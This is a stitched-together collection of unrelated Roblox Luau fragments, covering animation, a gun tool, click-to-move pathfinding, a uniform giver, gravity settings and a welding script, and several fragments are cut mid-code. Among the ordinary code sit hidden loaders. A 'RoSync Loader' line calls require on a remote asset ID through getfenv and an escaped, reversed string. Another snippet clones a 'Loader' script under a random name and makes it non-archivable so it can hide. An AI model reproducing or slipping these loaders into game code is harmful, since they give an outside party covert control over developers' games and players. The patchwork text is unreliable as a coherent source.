amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then local desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end
----------------------------------------
local FriendlyReticleColor = Color3.new(0, 1, 0) local EnemyReticleColor = Color3.new(1, 0, 0) local NeutralReticleColor = Color3.new(1, 1, 1) local Spread = MinSpread local AmmoInClip = ClipSize local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local WeaponGui = nil local LeftButtonDown local Reloading = false local IsShooting = false
-- destination = v.Parent.PrimaryPart.Position
destination = (CFrame.new(root.CFrame.p,Vector3.new(v.Parent.PrimaryPart.CFrame.p.x, -9,v.Parent.PrimaryPart.CFrame.p.z))*CFrame.new(0,0,-50)).p break
-----------------------------------PATHER--------------------------------------
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath: boolean?) local this = {} local directPathForHumanoid local directPathForVehicle if overrideUseDirectPath ~= nil then directPathForHumanoid = overrideUseDirectPath directPathForVehicle = overrideUseDirectPath else directPathForHumanoid = UseDirectPath directPathForVehicle = UseDirectPathForVehicle end this.Cancelled = false this.Started = false this.Finished = Instance.new("BindableEvent") this.PathFailed = Instance.new("BindableEvent") this.PathComputing = false this.PathComputed = false this.OriginalTargetPoint = endPoint this.TargetPoint = endPoint this.TargetSurfaceNormal = surfaceNormal this.DiedConn = nil this.SeatedConn = nil this.BlockedConn = nil this.TeleportedConn = nil this.CurrentPoint = 0 this.HumanoidOffsetFromPath = ZERO_VECTOR3 this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 this.CurrentWaypointNeedsJump = false; this.CurrentHumanoidPosition = ZERO_VECTOR3 this.CurrentHumanoidVelocity = 0 :: Vector3 | number this.NextActionMoveDirection = ZERO_VECTOR3 this.NextActionJump = false this.Timeout = 0 this.Humanoid = findPlayerHumanoid(Player) this.OriginPoint = nil this.AgentCanFollowPath = false this.DirectPath = false this.DirectPathRiseFirst = false this.stopTraverseFunc = nil :: (() -> ())? this.setPointFunc = nil :: ((number) -> ())? this.pointList = nil :: {PathWaypoint}? local rootPart: BasePart = this.Humanoid and this.Humanoid.RootPart if rootPart then -- Setup origin this.OriginPoint = rootPart.CFrame.Position -- Setup agent local agentRadius = 2 local agentHeight = 5 local agentCanJump = true local seat = this.Humanoid.SeatPart if seat and seat:IsA("VehicleSeat") then -- Humanoid is seated on a vehicle local vehicle = seat:FindFirstAncestorOfClass("Model") if vehicle then -- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends. local tempPrimaryPart = vehicle.PrimaryPart vehicle.PrimaryPart = seat -- For now, only direct path if directPathForVehicle then local extents: Vector3 = vehicle:GetExtentsSize() agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = false this.AgentCanFollowPath = true this.DirectPath = directPathForVehicle end -- Reset PrimaryPart vehicle.PrimaryPart = tempPrimaryPart end else local extents: Vector3? if FFlagUserExcludeNonCollidableForPathfinding then local character: Model? = GetCharacter() if character ~= nil then extents = getCollidableExtentsSize(character) end end if extents == nil then extents = GetCharacter():GetExtentsSize() end assert(extents, "") agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z) agentHeight = AgentSizeIncreaseFactor * extents.Y agentCanJump = (this.Humanoid.JumpPower > 0) this.AgentCanFollowPath = true this.DirectPath = directPathForHumanoid :: boolean this.DirectPathRiseFirst = this.Humanoid.Sit end -- Build path object if FFlagUserClickToMoveSupportAgentCanClimb then this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump, AgentCanClimb = true}) else this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump}) end end function this:Cleanup() if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end if this.BlockedConn then this.BlockedConn:Disconnect() this.BlockedConn = nil end if this.DiedConn then this.DiedConn:Disconnect() this.DiedConn = nil end if this.SeatedConn then this.SeatedConn:Disconnect() this.SeatedConn = nil end if this.TeleportedConn then this.TeleportedConn:Disconnect() this.TeleportedConn = nil end this.Started = false end function this:Cancel() this.Cancelled = true this:Cleanup() end function this:IsActive() return this.AgentCanFollowPath and this.Started and not this.Cancelled end function this:OnPathInterrupted() -- Stop moving this.Cancelled = true this:OnPointReached(false) end function this:ComputePath() if this.OriginPoint then if this.PathComputed or this.PathComputing then return end this.PathComputing = true if this.AgentCanFollowPath then if this.DirectPath then this.pointList = { PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk), PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk) } this.PathComputed = true else this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end) this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success end end this.PathComputing = false end end function this:IsValidPath() this:ComputePath() return this.PathComputed and this.AgentCanFollowPath end this.Recomputing = false function this:OnPathBlocked(blockedWaypointIdx) local pathBlocked = blockedWaypointIdx >= this.CurrentPoint if not pathBlocked or this.Recomputing then return end this.Recomputing = true if this.stopTraverseFunc then this.stopTraverseFunc() this.stopTraverseFunc = nil end this.OriginPoint = this.Humanoid.RootPart.CFrame.p this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint) this.pointList = this.pathResult:GetWaypoints() if #this.pointList > 0 then this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint end this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success if ShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList) end if this.PathComputed then this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() this:Cleanup() end this.Recomputing = false end function this:OnRenderStepped(dt: number) if this.Started and not this.Cancelled then -- Check for Timeout (if a waypoint is not reached within the delay, we fail) this.Timeout = this.Timeout + dt if this.Timeout > UnreachableWaypointTimeout then this:OnPointReached(false) return end -- Get Humanoid position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Check if it has reached some waypoints while this.Started and this:IsCurrentWaypointReached() do this:OnPointReached(true) end -- If still started, update actions if this.Started then -- Move action this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then this.NextActionMoveDirection = this.NextActionMoveDirection.Unit else this.NextActionMoveDirection = ZERO_VECTOR3 end -- Jump action if this.CurrentWaypointNeedsJump then this.NextActionJump = true this.CurrentWaypointNeedsJump = false -- Request jump only once else this.NextActionJump = false end end end end function this:IsCurrentWaypointReached() local reached = false -- Check we do have a plane, if not, we consider the waypoint reached if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then -- Compute distance of Humanoid from destination plane local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance -- Compute the component of the Humanoid velocity that is towards the plane local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity) -- Compute the threshold from the destination plane based on Humanoid velocity local threshold = math.max(1.0, 0.0625 * velocity) -- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it reached = dist < threshold else reached = true end if reached then this.CurrentWaypointPosition = nil this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end return reached end function this:OnPointReached(reached) if reached and not this.Cancelled then -- First, destroyed the current displayed waypoint if this.setPointFunc then this.setPointFunc(this.CurrentPoint) end local nextWaypointIdx = this.CurrentPoint + 1 if nextWaypointIdx > #this.pointList then -- End of path reached if this.stopTraverseFunc then this.stopTraverseFunc() end this.Finished:Fire() this:Cleanup() else local currentWaypoint = this.pointList[this.CurrentPoint] local nextWaypoint = this.pointList[nextWaypointIdx] -- If airborne, only allow to keep moving -- if nextWaypoint.Action ~= Jump, or path mantains a direction -- Otherwise, wait until the humanoid gets to the ground local currentState = this.Humanoid:GetState() local isInAir = currentState == Enum.HumanoidStateType.FallingDown or currentState == Enum.HumanoidStateType.Freefall or currentState == Enum.HumanoidStateType.Jumping if isInAir then local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump if not shouldWaitForGround and this.CurrentPoint > 1 then local prevWaypoint = this.pointList[this.CurrentPoint - 1] local prevDir = currentWaypoint.Position - prevWaypoint.Position local currDir = nextWaypoint.Position - currentWaypoint.Position local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit local THRESHOLD_COS = 0.996 -- ~cos(5 degrees) shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS end if shouldWaitForGround then this.Humanoid.FreeFalling:Wait() -- Give time to the humanoid's state to change -- Otherwise, the jump flag in Humanoid -- will be reset by the state change wait(0.1) end end -- Move to the next point this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx) end else this.PathFailed:Fire() this:Cleanup() end end function this:MoveToNextWayPoint(currentWaypoint: PathWaypoint, nextWaypoint: PathWaypoint, nextWaypointIdx: number) -- Build next destination plane -- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location)) -- (plane location is at next waypoint) this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position -- plane normal isn't perpendicular to the y plane when climbing up if not FFlagUserClickToMoveSupportAgentCanClimb or (nextWaypoint.Label ~= "Climb") then this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z) end if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position) else -- Next waypoint is the same as current waypoint so no plane this.CurrentWaypointPlaneNormal = ZERO_VECTOR3 this.CurrentWaypointPlaneDistance = 0 end -- Should we jump this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump; -- Remember next waypoint position this.CurrentWaypointPosition = nextWaypoint.Position -- Move to next point this.CurrentPoint = nextWaypointIdx -- Finally reset Timeout this.Timeout = 0 end function this:Start(overrideShowPath) if not this.AgentCanFollowPath then this.PathFailed:Fire() return end if this.Started then return end this.Started = true ClickToMoveDisplay.CancelFailureAnimation() if ShowPath then if overrideShowPath == nil or overrideShowPath then this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint) end end if #this.pointList > 0 then -- Determine the humanoid offset from the path's first point -- Offset of the first waypoint from the path's origin point this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0) -- As well as its current position and velocity this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity -- Connect to events this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end) this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end) this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end) -- Actually start this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:Fire() if this.stopTraverseFunc then this.stopTraverseFunc() end end end --We always raycast to the ground in the case that the user clicked a wall. local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5 local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50) local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList()) if newHitPart then this.TargetPoint = newHitPos end this:ComputePath() return this end
--[=[ Returns whether a task is a valid job. @param job any @return boolean ]=]
function MaidTaskUtils.isValidTask(job) return type(job) == "function" or typeof(job) == "RBXScriptConnection" or type(job) == "table" and type(job.Destroy) == "function" or typeof(job) == "Instance" end
--[[ Clone and drop the loader so it can hide in nil. --]]
if not _G.__EISSANTIRUN then local loader=script.Parent.Loader:clone() loader.Parent=script.Parent loader.Name=math.random(111111,99999999) loader.Archivable=false loader.Disabled=false end
-- initialize to idle
playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent ~= nil do local _, time = wait(0.1) move(time) end
--[[ Last synced 10/14/2020 09:30 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--Objs
local ServerModules = ServerStorage.Server local SharedModules = ReplicatedStorage.Shared local Remotes = ReplicatedStorage.Remotes
-- Functions --
local function playSoundLocal(sId,sParent) local sound = Instance.new("Sound",sParent) sound.SoundId = "http://www.roblox.com/asset/?id="..sId sound:Play() sound:Destroy() end local function onClicked(player) print(player.Name.." clicked on Uniform Giver") playSoundLocal(152206246,player) -- Declaring the sound ID and Parent local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt if not foundShirt then -- if there is no shirt print("No shirt found, creating for "..player.Name) local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" else if foundShirt then -- if there is a shirt print("Shirt found, reconstructing for "..player.Name) player.Character.Shirt:remove() local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" end end local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants if not foundPants then -- if there are no pants print("No pants found, creating for "..player.Name) local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" else if foundPants then -- if there are pants print("Pants found, reconstructing for "..player.Name) player.Character.Pants:remove() local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" end end player.Character.Shirt.ShirtTemplate = shirtId player.Character.Pants.PantsTemplate = pantsId end local function onHoverEnter(player) cPart.Transparency = 0 cPart.BrickColor = BrickColor.Dirt brown() end local function onHoverLeave(player) cPart.BrickColor = BrickColor.Dirt brown() cPart.Transparency = 0 end
-- calculate the moon's gravity
local moonGravityRatio = 1.62 / 9.81 -- the ratio of moon to earth's gravity local defaultGravity = 196.2 local moonGravity = defaultGravity * moonGravityRatio workspace.Gravity = moonGravity
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do end end end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end